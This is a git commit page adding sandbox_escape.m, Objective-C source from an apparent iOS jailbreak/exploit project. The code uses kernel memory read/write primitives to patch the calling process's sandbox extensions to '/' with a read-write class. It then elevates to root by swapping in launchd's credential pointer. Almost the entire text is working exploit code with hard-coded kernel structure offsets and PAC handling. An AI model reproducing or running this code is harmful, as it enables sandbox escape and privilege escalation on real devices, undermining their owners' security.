Filza 27.2 worse_query: public and developer builds

This commit is contained in:
admin committed 2026-11-11 03:40:37 +08:00
commit 91a6adf723
267 files changed
+42015

No files matched your search

+288
View File
@@ -0,0 +1,288 @@
/*
* sandbox_escape.m — Sandbox escape via kernel memory patching
*
* Walk proc_ro → ucred → cr_label → sandbox → ext_set → ext_table
* Patch extension paths to "/", rewrite class to "com.apple.app-sandbox.read-write"
* Fill all 16 hash slots → full R+W filesystem access
* Based on 18.3_sandbox/root.m by CrazyMind90.
*/
#import <Foundation/Foundation.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include "sandbox_escape.h"
#include "kexploit/kexploit_opa334.h"
#include "kexploit/krw.h"
#include "kexploit/kutils.h"
#include "kexploit/offsets.h"
extern void early_kread(uint64_t where, void *read_buf, size_t size);
#define KRW_LEN 0x20
// Verified offsets (IDA binary analysis across 6 kernelcaches)
#define OFF_PROC_PROC_RO 0x18 // proc → proc_ro (stable 17.0-26.x)
#define OFF_PROC_RO_UCRED 0x20 // proc_ro → p_ucred (verified all versions)
#define OFF_UCRED_CR_LABEL 0x78 // ucred → cr_label (KDK struct dump)
#define OFF_LABEL_SANDBOX 0x10 // label → sandbox (MAC l_perpolicy[1])
#define OFF_SANDBOX_EXT_SET 0x10 // sandbox → ext_set
#define OFF_EXT_DATA 0x40 // ext → data_addr
#define OFF_EXT_DATALEN 0x48 // ext → data_len
// posix_cred lives inside ucred at +0x18 (16B cr_link + 8B cr_ref).
// Derived from OFF_UCRED_CR_LABEL=0x78 and sizeof(posix_cred)=0x60.
#define OFF_UCRED_CR_POSIX 0x18
#define OFF_POSIX_CR_UID 0x00
#define OFF_POSIX_CR_RUID 0x04
#define OFF_POSIX_CR_SVUID 0x08
#define OFF_POSIX_CR_NGROUPS 0x0C
#define OFF_POSIX_CR_GROUPS_0 0x10 // first group (cr_groups[0])
#define OFF_POSIX_CR_RGID 0x50
#define OFF_POSIX_CR_SVGID 0x54
#define OFF_POSIX_CR_GMUID 0x58
#define OFF_POSIX_CR_FLAGS 0x5C
#ifdef __arm64e__
static uint64_t __attribute((naked)) __xpaci_sbx(uint64_t a) {
asm(".long 0xDAC143E0");
asm("ret");
}
#else
#define __xpaci_sbx(x) (x)
#endif
extern uint64_t VM_MIN_KERNEL_ADDRESS;
extern uint64_t pac_mask;
#define S(x) ({ uint64_t _v = __xpaci_sbx(x); \
((_v >> 32) > 0xFFFF ? (_v | pac_mask) : _v); })
#define K(x) ((x) > VM_MIN_KERNEL_ADDRESS)
#pragma mark - Extension patching
static void patch_ext(uint64_t ext) {
uint64_t da = early_kread64(ext + OFF_EXT_DATA);
uint64_t dl = early_kread64(ext + OFF_EXT_DATALEN);
if (K(da) && dl > 0) {
uint8_t buf[KRW_LEN];
early_kread(da, buf, KRW_LEN);
buf[0] = '/'; buf[1] = 0;
early_kwrite32bytes(da, buf);
}
uint8_t chunk[KRW_LEN];
early_kread(ext + OFF_EXT_DATA, chunk, KRW_LEN);
*(uint64_t*)(chunk + 0x08) = 1;
*(uint64_t*)(chunk + 0x10) = 0xFFFFFFFFFFFFFFFFULL;
early_kwrite32bytes(ext + OFF_EXT_DATA, chunk);
}
static int patch_chain(uint64_t hdr) {
int n = 0;
for (int i = 0; i < 64 && K(hdr); i++) {
uint64_t ext = S(early_kread64(hdr + 0x8));
if (K(ext)) { patch_ext(ext); n++; }
uint64_t next = early_kread64(hdr);
if (!next || !K(next)) break;
hdr = S(next);
}
return n;
}
static void set_rw_class(uint64_t hdr) {
uint64_t ext = S(early_kread64(hdr + 0x8));
if (!K(ext)) return;
uint64_t da = early_kread64(ext + OFF_EXT_DATA);
if (!K(da)) return;
const char *rw = "com.apple.app-sandbox.read-write";
uint8_t b1[KRW_LEN], b2[KRW_LEN];
memset(b1, 0, KRW_LEN); memset(b2, 0, KRW_LEN);
memcpy(b1, rw, KRW_LEN);
early_kwrite32bytes(da + 32, b1);
early_kwrite32bytes(da + 64, b2);
uint8_t hb[KRW_LEN];
early_kread(hdr, hb, KRW_LEN);
*(uint64_t*)(hb + 0x10) = da + 32;
early_kwrite32bytes(hdr, hb);
}
#pragma mark - Main entry
int sandbox_escape(uint64_t self_proc) {
if (!self_proc) { NSLog(@"[SBX] self_proc is NULL"); return -1; }
uint64_t proc_ro_raw = early_kread64(self_proc + OFF_PROC_PROC_RO);
uint64_t proc_ro = S(proc_ro_raw);
NSLog(@"[SBX] self_proc=0x%llx proc_ro_raw=0x%llx proc_ro=0x%llx", self_proc, proc_ro_raw, proc_ro);
if (!K(proc_ro)) { NSLog(@"[SBX] proc_ro invalid"); return -1; }
// Scan proc_ro for ucred — offset varies by iOS build.
// p_ucred is an SMR pointer. Dump offsets 0x10-0x40 to find it.
NSLog(@"[SBX] Scanning proc_ro for ucred...");
uint64_t ucred = 0;
for (uint32_t off = 0x10; off <= 0x40; off += 0x8) {
uint64_t raw = early_kread64(proc_ro + off);
uint64_t smr = kread_smrptr(proc_ro + off);
uint64_t pac = S(raw);
NSLog(@"[SBX] proc_ro+0x%x: raw=0x%llx smr=0x%llx pac=0x%llx", off, raw, smr, pac);
// Check if smr-decoded value looks like ucred (cr_label at +0x78 is a kernel ptr)
if (K(smr)) {
uint64_t maybe_label = S(early_kread64(smr + 0x78));
if (K(maybe_label)) {
uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10));
if (K(maybe_sandbox)) {
NSLog(@"[SBX] Found ucred at proc_ro+0x%x (SMR) = 0x%llx", off, smr);
ucred = smr;
break;
}
}
}
// Also try PAC-stripped
if (!ucred && K(pac)) {
uint64_t maybe_label = S(early_kread64(pac + 0x78));
if (K(maybe_label)) {
uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10));
if (K(maybe_sandbox)) {
NSLog(@"[SBX] Found ucred at proc_ro+0x%x (PAC) = 0x%llx", off, pac);
ucred = pac;
break;
}
}
}
}
if (!K(ucred)) { NSLog(@"[SBX] ucred not found in proc_ro"); return -1; }
uint64_t label = S(early_kread64(ucred + OFF_UCRED_CR_LABEL));
if (!K(label)) { NSLog(@"[SBX] cr_label invalid"); return -1; }
uint64_t sandbox = S(early_kread64(label + OFF_LABEL_SANDBOX));
if (!K(sandbox)) { NSLog(@"[SBX] sandbox invalid"); return -1; }
uint64_t ext_set = S(early_kread64(sandbox + OFF_SANDBOX_EXT_SET));
if (!K(ext_set)) { NSLog(@"[SBX] ext_set invalid"); return -1; }
NSLog(@"[SBX] proc_ro=0x%llx ucred=0x%llx label=0x%llx sandbox=0x%llx ext_set=0x%llx",
proc_ro, ucred, label, sandbox, ext_set);
int patched = 0;
for (int s = 0; s < 16; s++) {
uint64_t hdr = S(early_kread64(ext_set + s * 8));
if (K(hdr)) patched += patch_chain(hdr);
}
NSLog(@"[SBX] Patched %d extensions", patched);
int classed = 0;
for (int s = 0; s < 16; s++) {
uint64_t hdr = S(early_kread64(ext_set + s * 8));
if (K(hdr) && K(early_kread64(hdr + 0x10))) { set_rw_class(hdr); classed++; }
}
NSLog(@"[SBX] Changed %d extension classes", classed);
uint64_t src = 0;
for (int s = 0; s < 16 && !src; s++) {
uint64_t h = S(early_kread64(ext_set + s * 8));
if (K(h)) src = h;
}
if (src) {
int filled = 0;
for (int s = 0; s < 16; s++) {
uint64_t h = early_kread64(ext_set + s * 8);
if (!h || !K(h)) { early_kwrite64(ext_set + s * 8, src); filled++; }
}
NSLog(@"[SBX] Filled %d empty hash slots", filled);
}
int fd_w = open("/var/mobile/.sbx_test", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd_w >= 0) { close(fd_w); unlink("/var/mobile/.sbx_test"); }
if (fd_w >= 0) {
NSLog(@"[SBX] *** SANDBOX ESCAPED (R+W) ***");
return 0;
}
NSLog(@"[SBX] Sandbox escape verification failed (errno=%d: %s)", errno, strerror(errno));
return -1;
}
#pragma mark - UID elevation (uid=0 via launchd ucred swap)
// Scan proc_ro in [0x10..0x40] for a valid ucred pointer.
// A valid ucred has cr_label at +0x78 pointing to a kernel addr
static int sbx_find_ucred_slot(uint64_t proc, uint64_t *ucred_out, uint32_t *off_out) {
if (!proc) return -1;
uint64_t proc_ro = S(early_kread64(proc + OFF_PROC_PROC_RO));
if (!K(proc_ro)) return -1;
for (uint32_t off = 0x10; off <= 0x40; off += 0x8) {
uint64_t raw = early_kread64(proc_ro + off);
uint64_t smr = kread_smrptr(proc_ro + off);
uint64_t pac = S(raw);
uint64_t cands[2] = { smr, pac };
for (int i = 0; i < 2; i++) {
uint64_t c = cands[i];
if (!K(c)) continue;
uint64_t lbl = S(early_kread64(c + OFF_UCRED_CR_LABEL));
if (!K(lbl)) continue;
uint64_t sbx = S(early_kread64(lbl + OFF_LABEL_SANDBOX));
if (K(sbx)) {
*ucred_out = c;
*off_out = off;
return 0;
}
}
}
return -1;
}
static uint64_t sbx_ucredbyproc(uint64_t proc) {
uint64_t ucred = 0;
uint32_t off = 0;
if (sbx_find_ucred_slot(proc, &ucred, &off) != 0) return 0;
return ucred;
}
int sandbox_elevate_to_root(uint64_t self_proc) {
uint64_t launchd = proc_find_by_name("launchd");
if (!launchd || launchd == (uint64_t)-1) {
NSLog(@"[SBX] elevate: procbyname(\"launchd\") failed; trying pid 1 fallback");
launchd = proc_find(1);
if (launchd && launchd != (uint64_t)-1) {
NSLog(@"[SBX] elevate: resolved launchd via pid 1 fallback: 0x%llx", launchd);
}
}
if (!launchd || launchd == (uint64_t)-1) {
NSLog(@"[SBX] elevate: could not find launchd");
return -1;
}
uint64_t launchducred = sbx_ucredbyproc(launchd);
if (!launchducred) {
NSLog(@"[SBX] elevate: failed to get valid ucred from launchd");
return -1;
}
NSLog(@"[SBX] elevate: launchd ucred: 0x%llx", launchducred);
if (!self_proc) {
NSLog(@"[SBX] elevate: failed to get our proc");
return -1;
}
NSLog(@"[SBX] elevate: ourproc: 0x%llx", self_proc);
uint64_t ourucredraw = early_kread64(self_proc + 0x10);
uint64_t ourucred = S(ourucredraw);
NSLog(@"[SBX] elevate: ourucred: 0x%llx", ourucred);
early_kwrite64(self_proc + 0x10, launchducred);
if (getuid() == 0) {
NSLog(@"[SBX] elevate success!");
return 0;
}
NSLog(@"[SBX] elevate failed, uid: %d", getuid());
return -1;
}